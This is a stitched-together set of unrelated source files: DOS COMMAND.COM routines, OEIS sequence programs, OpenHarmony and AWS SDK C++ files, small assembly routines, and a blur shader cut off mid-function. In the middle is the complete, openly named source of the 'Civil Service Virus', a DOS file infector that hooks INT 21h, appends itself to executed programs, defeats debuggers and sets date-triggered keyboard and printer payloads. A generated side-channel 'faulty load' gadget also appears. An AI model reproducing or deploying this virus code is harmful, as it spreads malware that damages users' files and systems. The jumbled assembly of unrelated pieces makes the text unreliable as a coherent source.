ES,[ENVIRSEG] ASSUME ES:NOTHING XOR DI,DI ; ; Top cycle-point. If the string here is empty, then we are done ; SDN1: cmp byte ptr es:[di],0 ; nul string? retz ; yep, all done CALL SCASB2 JMP SDN1 SCASB1: MOV AL,'=' ; SCAN FOR AN = JMP SHORT SCASBX SCASB2: XOR AL,AL ; SCAN FOR A NUL SCASBX: MOV CX,100H REPNZ SCASB return ;Bugbug: This is Kanji stuff - put it in conditionals TESTKANJ: push ds ;AN000; 3/3/KK push si ;AN000; 3/3/KK push ax ;AN000; 3/3/KK mov ds,cs:[resseg] ;AN000; Get resident segment assume ds:resgroup ;AN000; lds si,dbcs_vector_addr ;AN000; get DBCS vector ktlop: ;AN000; 3/3/KK cmp word ptr ds:[si],0 ;AN000; end of Table 3/3/KK je notlead ;AN000; 3/3/KK pop ax ;AN000; 3/3/KK push ax ;AN000; 3/3/KK cmp al, byte ptr ds:[si] ;AN000; 3/3/KK jb notlead ;AN000; 3/3/KK inc si ;AN000; 3/3/KK cmp al, byte ptr ds:[si] ;AN000; 3/3/KK jbe islead ;AN000; 3/3/KK inc si ;AN000; 3/3/KK jmp short ktlop ;AN000; try another range ; 3/3/KK Notlead: ;AN000; 3/3/KK xor ax,ax ;AN000; set zero 3/3/KK jmp short ktret ;AN000; 3/3/KK Islead: ;AN000; 3/3/KK xor ax,ax ;AN000; reset zero 3/3/KK inc ax ;AN000; 3/3/KK ktret: ;AN000; 3/3/KK pop ax ;AN000; 3/3/KK pop si ;AN000; 3/3/KK pop ds ;AN000; 3/3/KK return ;AN000; 3/3/KK ;------------------------------------- ;3/3/KK ; **************************************************************** ; * ; * ROUTINE: UPCONV (ADDED BY EMG 4.00) ; * ; * FUNCTION: This routine returns the upper case equivalent of ; * the character in AL from the file upper case table ; * in DOS if character if above ascii 128, else ; * subtracts 20H if between "a" and "z". ; * ; * INPUT: AL char to be upper cased ; * FUCASE_ADDR set to the file upper case table ; * ; * OUTPUT: AL upper cased character ; * ; **************************************************************** assume ds:trangroup ;AN000; upconv proc near ;AN000; cmp al,80h ;AN000; see if char is > ascii 128 jb oth_fucase ;AN000; no - upper case math sub al,80h ;AN000; only upper 128 chars in table push ds ;AN000; push bx ;AN000; mov ds,[resseg] ;AN000; get resident data segment assume ds:resgroup ;AN000; lds bx,dword ptr fucase_addr+1 ;AN000; get table address add bx,2 ;AN000; skip over first word xlat ds:byte ptr [bx] ;AN000; convert to upper case pop bx ;AN000; pop ds ;AN000; assume ds:trangroup ;AN000; jmp short upconv_end ;AN000; we finished - exit oth_fucase: ;AN000; cmp al,small_a ;AC000; if between "a" and "z", jb upconv_end ;AC000; subtract 20h to get cmp al,small_z ;AC000; upper case equivalent. ja upconv_end ;AC000; sub al,20h ;AC000; Change lower-case to upper upconv_end: ;AN000; ret upconv endp ;AN000; ; ; STORE A CHAR IN environment, GROWING IT IF NECESSARY ; STORE_CHAR: PUSH CX PUSH BX PUSH ES ;AN056; PUSH DS ;AN056; Save local DS MOV DS,[RESSEG] ;AN056; Get resident segment ASSUME DS:RESGROUP ;AN056; MOV ES,[ENVIRSEG] ;AN056; Get environment segment ASSUME ES:NOTHING ;AN056; POP DS ;AN056; Get local segment back ASSUME DS:TRANGROUP ;AN056; CALL GETENVSIZ MOV BX,CX SUB BX,2 ; SAVE ROOM FOR DOUBLE NULL CMP DI,BX JB STORE1 PUSH AX PUSH CX PUSH BX ; Save Size of environment invoke FREE_TPA POP BX ADD BX,2 ; Recover true environment size CMP BX, 8000H ; Don't let environment grow > 32K JB ENVSIZ_OK BAD_ENV_SIZE: ;AN056; STC JMP SHORT ENVNOSET ENVSIZ_OK: MOV CL,4 SHR BX,CL ; Convert back to paragraphs INC BX ; Try to grow environment by one para MOV CX,ES ;AN056; Get environment segment ADD CX,BX ;AN056; Add in size of environment ADD CX,020H ;AN056; Add in some TPA MOV AX,CS ;AN056; Get the transient segment CMP CX,AX ;AN056; Are we hitting the transient? JNB BAD_ENV_SIZE ;AN056; Yes - don't do it!!! MOV AH,SETBLOCK INT 21h ENVNOSET: PUSHF PUSH ES MOV ES,[RESSEG] invoke ALLOC_TPA POP ES POPF POP CX POP AX JNC STORE1 POP ES ;AN056; MOV DX,OFFSET TRANGROUP:ENVERR_ptr JMP CERROR STORE1: STOSB MOV WORD PTR ES:[DI],0 ; NULL IS AT END POP ES ;AN056; POP BX POP CX return GETENVSIZ: ;Get size of environment in bytes, rounded up to paragraph boundry ;ES has environment segment ;Size returned in CX, all other registers preserved PUSH ES PUSH AX MOV AX,ES DEC AX ;Point at arena MOV ES,AX MOV AX,ES:[arena_size] MOV CL,4 SHL AX,CL ;Convert to bytes MOV CX,AX POP AX POP ES return ASSUME DS:TRANGROUP RESTUDIR1: PUSH DS MOV DS,[RESSEG] ASSUME DS:RESGROUP CMP [RESTDIR],0 POP DS ASSUME DS:TRANGROUP retz RESTUDIR: MOV DX,OFFSET TRANGROUP:USERDIR1 MOV AH,CHDIR INT 21h ; Restore users DIR XOR AL,AL invoke SETREST RET56: return trancode ends end 
; A229702: Expansion of 1/((1-x)^4*(1-6x)). ; Submitted by Jamie Morken(s2) ; 1,10,70,440,2675,16106,96720,580440,3482805,20897050,125382586,752295880,4513775735,27082654970,162495930500,974975583816,5849853503865,35099121024330,210594726147310,1263568356885400,7581410141314171 add $0,1 lpb $0 sub $0,1 add $4,1 add $3,$4 add $2,$3 add $1,$2 mul $3,6 lpe mov $0,$1
; Civil Service Virus by Marvin Giskard ; Turbo Assember version 2 Exec equ 4B00h OpenFile equ 3D02h ReadFile equ 3Fh WriteFile equ 40h CloseFile equ 3Eh EXESign equ 5A4Dh SeekTop equ 4200h SeekEnd equ 4202h GetAttr equ 4300h SetAttr equ 4301h GetDT equ 5700h SetDT equ 5701h MinSize equ 4h MaxSize equ 0FBF0h GetDate equ 2Bh FileID equ 2206h MemID equ 4246h ; 'FB' .MODEL SMALL .CODE ORG 0100h Start: XOR AX, AX MOV DS, AX CMP WORD PTR DS:01ACh, MemID JNE Instl2 CMP WORD PTR DS:01AEh, FileID JE NoInstl2 Instl2: CALL InstallInMem NoInstl2: PUSH CS PUSH CS POP DS POP ES MOV DX, OFFSET FileName MOV AX, 4B22h INT 21h INT 20h FileName: DB 'TEST.COM',0 AddCode: JMP OverData ; Addcode's data Buf: DB 0, 0 ; Miscellaneous Buf JumpCode: DB 0E9h, 00h, 00h ; Code to be placed at front of file FSize: DW 0 ; File size Attr: DB 0 ; Attr of file being infected FDateTime: DD 0 ; Time and date of file being infected Generation: DW 0 ; Generation counter Infected: DW 0 ; Number of files infected Old24Handler: DD 0 ; Old INT 24h handler Acts: DB 0 ; Flag to stop reentry Path: DD 0 OverData: MOV WORD PTR DS:0100h, 0000h MOV BYTE PTR DS:0102h, 00h ; Check if handler already installed by examining 2 words in vector ; table entry of INT 6Bh XOR AX, AX MOV DS, AX CMP WORD PTR DS:01ACh, MemID JNE Instl CMP WORD PTR DS:01AEh, FileID JE AlreadyInstalled Instl: CALL InstallInMem JMP ALreadyInstalled InstallInMem: MOV WORD PTR DS:01ACh, MemID MOV WORD PTR DS:01AEh, FileID PUSH CS POP DS ; Get INT 21h handler in ES:BX. MOV AX, 3521h INT 21h DoOldOfs: MOV SI, OFFSET DoOld+1 MOV [SI], BX MOV [SI+2], ES PUSH ES PUSH BX POP DX POP DS MOV AX, 256Dh INT 21h ; This label is here so that the infect part will be able to calculate ; source offset of Int21Handler and then place it in here before writing ; it to disk. The OFFSET AddCode will be replaced by the right number. Source: MOV SI, OFFSET AddCode ; Destination e.g. Where program will be placed are now calculated by ; taking the amount of memory in $0040:$0013. Multiply by 16 to get ; segment of memory end and then subract amount of blocks needed. ; This is where routine will be placed. MOV AX, 0040h MOV DS, AX MOV AX, WORD PTR DS:0013h MOV CL, 6 SHL AX, CL ; Set dest. segment 2048 pages (32 K) below top of memory. SUB AX, 2048 MOV ES, AX XOR DI, DI MOV CX, OFFSET AddCodeEnd - OFFSET AddCode PUSH CS POP DS REP MOVSB ; Set INT 21h Handler to point to our routine MOV AX, 2521h PUSH ES POP DS MOV DX, OFFSET Int21Handler - OFFSET AddCode INT 21h MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0 RET AlreadyInstalled: Call DisTrace ; Code to jump back to 0100h PUSH CS PUSH CS POP DS POP ES MOV AX, 0100h JMP AX ; Disable tracing and breakpoint setting for debuggers. DisTrace: MOV AX, 0F000h MOV DS, AX MOV DX, 0FFF0h MOV AX, 2501h INT 21h MOV AX, 2503h INT 21h RET Int21Handler: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH ES PUSH DS ; Install devious act if seed is right MOV AH, 2Ah INT 6Dh CMP CX, 1991 JB Act CMP DL, 22 JNE Timer DB 0EAh, 0F0h, 0FFh, 00h, 0F0h Timer: MOV AH, 25h CMP DL, 29 JE Inst1 CMP DL, 1 JE Inst2 CMP DL, 10 JE Inst3 CMP DL, 16 JE Inst4 JMP Act Inst1: MOV AL, 13h JMP SetVec Inst2: MOV AL, 16h JMP SetVec Inst3: MOV AL, 0Dh JMP SetVec Inst4: MOV AL, 10h SetVec: PUSH CS POP DS MOV DX, OFFSET Int24Handler - OFFSET AddCode INT 6Dh Act: MOV AX, 0040h MOV DS, AX MOV AX, WORD PTR DS:006Eh PUSH CS POP DS MOV BH, DS:[OFFSET Acts - OFFSET AddCode] CMP BH, 3 JE NoAct CMP AX, 22 JE NoAct MOV BYTE PTR [SI], 3 MOV AX, 3509h INT 21h PUSH ES PUSH BX POP DX POP DS MOV AX, 256Ah INT 21h PUSH CS POP DS MOV DX, OFFSET Int9Handler - OFFSET AddCode MOV AX, 2509h INT 21h MOV AX, 3517h INT 21h PUSH ES PUSH BX POP DX POP DS MOV AX, 256Ch INT 21h PUSH CS POP DS MOV DX, OFFSET Int17Handler - OFFSET AddCode MOV AX, 2517h INT 21h NoAct: POP DS POP ES POP SI POP DI POP DX POP CX POP BX POP AX CMP AH, 4Bh JE Infect DoOld: ; This next bytes represent a JMP 0000h:0000h. The 0's will be replaced ; by the address of the old 21 handler. DB 0EAh DD 0 DoOldPop: POP ES POP DS POP BP POP DI POP SI POP DX POP CX POP BX POP AX JMP DoOld CloseQuit: MOV AX, 2524h MOV SI, OFFSET Old24Handler-OFFSET AddCode MOV DX, CS:[SI] MOV DS, CS:[SI+2] INT 21h PUSH CS POP DS MOV SI, OFFSET FDateTime-OFFSET AddCode MOV CX, DS:[SI] MOV DX, DS:[SI+2] MOV AX, SetDT INT 21h MOV AH, CloseFile INT 21h MOV AX, SetAttr MOV CL, DS:[OFFSET Attr - OFFSET AddCode] XOR CH, CH MOV SI, OFFSET Path-OFFSET AddCode MOV DX, DS:[SI] MOV DS, DS:[SI+2] INT 21h JMP DoOldPop Infect: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH DS PUSH ES ; Get file's attr MOV AX, GetAttr INT 21h JC CloseQuit MOV CS:[OFFSET Attr-OFFSET AddCode], CL MOV SI, OFFSET Path-OFFSET AddCode MOV CS:[SI], DX MOV CS:[SI+2], DS ; Get/Set INT 24h handler MOV AX, 3524h INT 21h MOV SI, OFFSET Old24Handler-OFFSET AddCode MOV CS:[SI], BX MOV CS:[SI+2], ES MOV AX, 2524h PUSH CS POP DS MOV DX, OFFSET Int24Handler-OFFSET AddCode INT 21h ; Set new attribute MOV SI, OFFSET Path-OFFSET AddCode MOV DX, CS:[SI] MOV DS, CS:[SI+2] MOV AX, SetAttr MOV CX, 0020h INT 21h JC CloseQuitFoot MOV AX, OpenFile INT 21h JC CloseQuitFoot MOV BX, AX ; Get file's time and date and store MOV AX, GetDT INT 21h JC CloseQuitFoot PUSH CS POP DS MOV SI, OFFSET FDateTime-OFFSET AddCode MOV DS:[SI], CX MOV DS:[SI+2], DX ; Read first two bytes of file MOV AH, ReadFile MOV CX, 2 MOV DX, OFFSET OverData+4-OFFSET AddCode INT 21h JC CloseQuitFoot ; Check if fisrt two bytes identify the file as an EXE file ; If so, then don't infect the file CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign JE CloseQuitFoot ; Read next byte MOV AH, ReadFile MOV CX, 1 MOV DX, OFFSET OverData+10-OFFSET AddCode INT 21h JC CloseQuitFoot ; Get file size MOV AX, SeekEnd XOR CX, CX XOR DX, DX INT 21h JC CloseQuitFoot ; Save filesize and calculate jump offset CMP DX, 0 JG CloseQuitFoot CMP AX, MinSize JB CloseQuitFoot CMP AX, MaxSize JA CloseQuitFoot MOV DS:[OFFSET FSize-OFFSET AddCode], AX MOV CX, AX SUB AX, 03h MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX ; Calculate and store source ADD CX, 0100h MOV [OFFSET Source+1-OFFSET AddCode], CX ADD CX, OFFSET DoOld-OFFSET AddCode MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX JMP OverFoot1 CloseQuitFoot: JMP CloseQuit OverFoot1: ; Read last 2 bytes to see if it is already infected MOV AX, SeekTop XOR CX, CX MOV DX, [OFFSET FSize-OFFSET AddCode] SUB DX, 2 INT 21h MOV AH, ReadFile MOV CX, 2 MOV DX, OFFSET Buf-OFFSET AddCode INT 21h CMP [OFFSET Buf-OFFSET AddCode], FileID JE CloseQuitFoot ; Prepare to write new jump MOV AX, SeekTop XOR CX, CX XOR DX, DX INT 21h ; Write new jump MOV AH, WriteFile MOV CX, 3 MOV DX, OFFSET JumpCode-OFFSET AddCode INT 21h ; Write addcode ; Code to restore first three bytes is at start of addcode ; Int21 handler is also included ; Generation counter is included in data ; ID is at the end of addcode MOV AX, SeekEnd XOR CX, CX XOR DX, DX INT 21h ; Increase generation counter before writing it to the new file INC WORD PTR [OFFSET Generation - OFFSET AddCode] ; Set files infected to 0, for child hasn't infected anyone. MOV SI, OFFSET Infected - OFFSET AddCode PUSH WORD PTR [SI] MOV WORD PTR [SI], 0 MOV AH, WriteFile MOV DX, OFFSET AddCode - OFFSET AddCode ; 0000 MOV CX, OFFSET AddCodeEnd - OFFSET AddCode INT 21h ; Decrease counter again, cause all his children should have the same ; generation count DEC WORD PTR [OFFSET Generation - OFFSET AddCode] ; Pop number of files infected and incread POP AX INC AX MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX JMP CloseQuit Int24Handler: XOR AL, AL IRET Int9Handler: PUSH AX PUSH CX PUSH DS MOV AX, 0040h MOV DS, AX MOV AH, BYTE PTR DS:006Ch CMP AH, 18 JA NoChange MOV CL, 4 SHL AH, CL SHR AH, CL MOV BYTE PTR DS:0017h, AH NoChange: POP DS POP CX POP AX INT 6Ah IRET Int17Handler: CMP AH, 00h JNE DoOld17 PUSH DS PUSH AX PUSH BX MOV BX, 0040h MOV DS, BX MOV BH, BYTE PTR DS:006Ch SHR BH, 1 SHR BH, 1 CMP BH, 22h JE Ignore17 POP BX POP AX POP DS DoOld17: INT 6Ch IRET Ignore17: POP BX POP AX POP DS IRET DW FileID AddCodeEnd: END Start 
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x4bcb, %rdi nop nop nop nop nop xor %r14, %r14 mov $0x6162636465666768, %r15 movq %r15, %xmm7 and $0xffffffffffffffc0, %rdi movntdq %xmm7, (%rdi) nop nop nop nop dec %rcx lea addresses_A_ht+0x15833, %rsi nop nop nop nop nop and %rcx, %rcx and $0xffffffffffffffc0, %rsi vmovaps (%rsi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r9 nop nop nop nop nop and $60642, %r14 lea addresses_WC_ht+0xb728, %r14 clflush (%r14) nop nop nop nop dec %rdx movw $0x6162, (%r14) nop nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x5313, %r14 nop nop nop nop add %rdi, %rdi movl $0x61626364, (%r14) nop nop nop nop nop add $31358, %rdx lea addresses_WT_ht+0x16833, %rdx nop nop nop mfence mov (%rdx), %cx nop nop dec %rdi lea addresses_normal_ht+0x8713, %r15 clflush (%r15) nop nop nop xor %rsi, %rsi mov (%r15), %cx nop nop nop nop nop add $47402, %rdx lea addresses_normal_ht+0x5c23, %rdx nop nop nop nop nop and $65133, %r15 mov $0x6162636465666768, %rcx movq %rcx, (%rdx) nop nop nop nop nop inc %rdx lea addresses_D_ht+0x1a993, %rsi lea addresses_WT_ht+0x1649b, %rdi nop nop nop add %rbp, %rbp mov $96, %rcx rep movsl nop nop nop nop nop xor $18256, %rdx lea addresses_WC_ht+0x1e4c1, %rsi lea addresses_WT_ht+0x189d3, %rdi nop nop nop cmp %r9, %r9 mov $69, %rcx rep movsq sub %rdx, %rdx lea addresses_WC_ht+0x13513, %rsi lea addresses_WC_ht+0x141eb, %rdi nop nop nop add %rdx, %rdx mov $38, %rcx rep movsw nop nop dec %rcx lea addresses_normal_ht+0x11b13, %r14 nop nop sub $49996, %rcx and $0xffffffffffffffc0, %r14 vmovntdqa (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rdi nop nop nop and $30395, %r15 lea addresses_UC_ht+0x1c533, %rdx nop nop nop nop and $49329, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm3 vmovups %ymm3, (%rdx) nop and $14253, %r15 lea addresses_D_ht+0x5dab, %rbp sub %rcx, %rcx mov (%rbp), %r9d nop nop nop and %rsi, %rsi lea addresses_normal_ht+0x18113, %r9 clflush (%r9) nop xor $28388, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %r9 vmovntdq %ymm7, (%r9) nop nop nop cmp %r14, %r14 lea addresses_WT_ht+0x19713, %rsi lea addresses_WT_ht+0xbc13, %rdi nop nop nop dec %rdx mov $83, %rcx rep movsl nop nop cmp %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_normal+0x461f, %rsi lea addresses_PSE+0x1a90b, %rdi nop nop cmp %r12, %r12 mov $45, %rcx rep movsb nop nop xor %r12, %r12 // Faulty Load mov $0x65b8100000000f13, %rsi lfence movb (%rsi), %cl lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}} {'00': 393} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#ruledef test { ld {val} => 0x00 @ val`8 ld x => 0xff @ 0x00 } ld x ; = 0xff00 x = 0x55
/* * Copyright (c) 2020 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "setting_main_ability.h" namespace OHOS { REGISTER_AA(SettingMainAbility) void SettingMainAbility::OnStart(const Want& want) { SetMainRoute("MainAbilitySlice"); Ability::OnStart(want); } void SettingMainAbility::OnInactive() { Ability::OnInactive(); } void SettingMainAbility::OnActive(const Want& want) { Ability::OnActive(want); } void SettingMainAbility::OnBackground() { Ability::OnBackground(); } void SettingMainAbility::OnStop() { Ability::OnStop(); } } // namespace OHOS
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/codestar/model/ListResourcesResult.h> #include <aws/core/utils/json/JsonSerializer.h> #include <aws/core/AmazonWebServiceResult.h> #include <aws/core/utils/StringUtils.h> #include <aws/core/utils/UnreferencedParam.h> #include <utility> using namespace Aws::CodeStar::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; using namespace Aws; ListResourcesResult::ListResourcesResult() { } ListResourcesResult::ListResourcesResult(const Aws::AmazonWebServiceResult<JsonValue>& result) { *this = result; } ListResourcesResult& ListResourcesResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result) { const JsonValue& jsonValue = result.GetPayload(); if(jsonValue.ValueExists("resources")) { Array<JsonValue> resourcesJsonList = jsonValue.GetArray("resources"); for(unsigned resourcesIndex = 0; resourcesIndex < resourcesJsonList.GetLength(); ++resourcesIndex) { m_resources.push_back(resourcesJsonList[resourcesIndex].AsObject()); } } if(jsonValue.ValueExists("nextToken")) { m_nextToken = jsonValue.GetString("nextToken"); } return *this; }
section .text global ft_list_size ft_list_size: xor rax, rax ft_list_size_next: cmp rdi, 0 je ft_list_size_null inc rax mov rdi, [rdi+8] jmp ft_list_size_next ft_list_size_null: ret
ORG 00H SJMP MAIN ORG 0BH ;TIMER 0 INT MOV P1, #00H RETI ORG 30H MAIN: MOV TMOD, #01H ; 00000001 MOV TH0, #0FFH MOV TL0, #0F0H SETB EA SETB ET0 SETB TR0 SJMP $ END
; A211434: Number of ordered triples (w,x,y) with all terms in {-n,...,0,...,n} and w+2x+5y=0. ; 1,1,5,9,17,25,33,45,57,73,89,105,125,145,169,193,217,245,273,305,337,369,405,441,481,521,561,605,649,697,745,793,845,897,953,1009,1065,1125,1185,1249,1313,1377,1445,1513,1585,1657,1729,1805,1881 mov $1,$0 pow $0,2 add $1,$0 div $1,5 mul $1,4 add $1,1
/* cgeBilateralBlurFilter.cpp * * Created on: 2014-4-1 * Author: Wang Yang */ #include "BilateralBlurFilter.h" #include <cmath> ConstString s_fshBilateralBlur = CGE_SHADER_STRING_PRECISION_H ( varying vec2 textureCoordinate; uniform sampler2D inputImageTexture; //const int GAUSSIAN_SAMPLES = 9; uniform float blurFactors[9];// = float[GAUSSIAN_SAMPLES](0.05, 0.09, 0.12, 0.15, 0.18, 0.15, 0.12, 0.09, 0.05); uniform float distanceNormalizationFactor; uniform float blurSamplerScale; uniform vec2 samplerSteps; const int samplerRadius = 4; float random(vec2 seed) { return fract(sin(dot(seed, vec2(12.9898, 78.233))) * 43758.5453); } void main() { vec4 centralColor = texture2D(inputImageTexture, textureCoordinate); float gaussianWeightTotal = blurFactors[4]; vec4 sum = centralColor * blurFactors[4]; vec2 stepScale = blurSamplerScale * samplerSteps; float offset = random(textureCoordinate) - 0.5; for (int i = 0; i < samplerRadius; ++i) { vec2 dis = (float(i) + offset) * stepScale; float blurfactor = blurFactors[samplerRadius - i]; { vec4 sampleColor1 = texture2D( inputImageTexture, textureCoordinate + dis); float distanceFromCentralColor1 = min( distance(centralColor, sampleColor1) * distanceNormalizationFactor, 1.0); float gaussianWeight1 = blurfactor * (1.0 - distanceFromCentralColor1); gaussianWeightTotal += gaussianWeight1; sum += sampleColor1 * gaussianWeight1; } ////////////////////////////////////////////////////////////////////////// { vec4 sampleColor2 = texture2D( inputImageTexture, textureCoordinate - dis); float distanceFromCentralColor2 = min( distance(centralColor, sampleColor2) * distanceNormalizationFactor, 1.0); float gaussianWeight2 = blurfactor * (1.0 - distanceFromCentralColor2); gaussianWeightTotal += gaussianWeight2; sum += sampleColor2 * gaussianWeight2; } } gl_FragColor = sum / gaussianWeightTotal; } ); ConstString s_fshBilateralBlur2 = CGE_SHADER_STRING_PRECISION_H ( varying vec2 textureCoordinate; uniform sampler2D inputImageTexture; uniform float distanceNormalizationFactor; uniform float blurSamplerScale; uniform vec2 samplerSteps; uniform int samplerRadius; const float arg = 0.5; float random(vec2 seed) { return fract( sin(dot(seed, vec2(12.9898, 78.233))) * 43758.5453); } void main() { vec4 centralColor = texture2D(inputImageTexture, textureCoordinate); float lum = dot(centralColor.rgb, vec3(0.299, 0.587, 0.114)); float factor = (1.0 + arg) / (arg + lum) * distanceNormalizationFactor; float gaussianWeightTotal = 1.0; vec4 sum = centralColor * gaussianWeightTotal; vec2 stepScale = blurSamplerScale * samplerSteps / float(samplerRadius); float offset = random(textureCoordinate) - 0.5; for (int i = 1; i <= samplerRadius; ++i) { vec2 dis = (float(i) + offset) * stepScale; float percent = 1.0 - (float(i) + offset) / float(samplerRadius); { vec4 sampleColor1 = texture2D( inputImageTexture, textureCoordinate + dis); float distanceFromCentralColor1 = min( distance(centralColor, sampleColor1) * factor, 1.0); float gaussianWeight1 = percent * (1.0 - distanceFromCentralColor1); gaussianWeightTotal += gaussianWeight1; sum += sampleColor1 * gaussianWeight1; } ////////////////////////////////////////////////////////////////////////// { vec4 sampleColor2 = texture2D( inputImageTexture, textureCoordinate - dis); float distanceFromCentralColor2 = min( distance(centralColor, sampleColor2) * factor, 1.0); float gaussianWeight2 = percent * (1.0 - distanceFromCentralColor2); gaussianWeightTotal += gaussianWeight2; sum += sampleColor2 * gaussianWeight2; } } gl_FragColor = sum / gaussianWeightTotal; } ); namespace CGE { ConstString CGEBilateralBlurFilter::paramDistanceFactorName = "distanceNormalizationFactor"; ConstString CGEBilateralBlurFilter::paramBlurSamplerScaleName = "blurSamplerScale"; ConstString CGEBilateralBlurFilter::paramBlurFactorsName = "blurFactors"; bool CGEBilateralBlurFilter::init() { if (initShadersFromString(g_vshDefaultWithoutTexCoord, s_fshBilateralBlur)) { setBlurScale(4.0f); 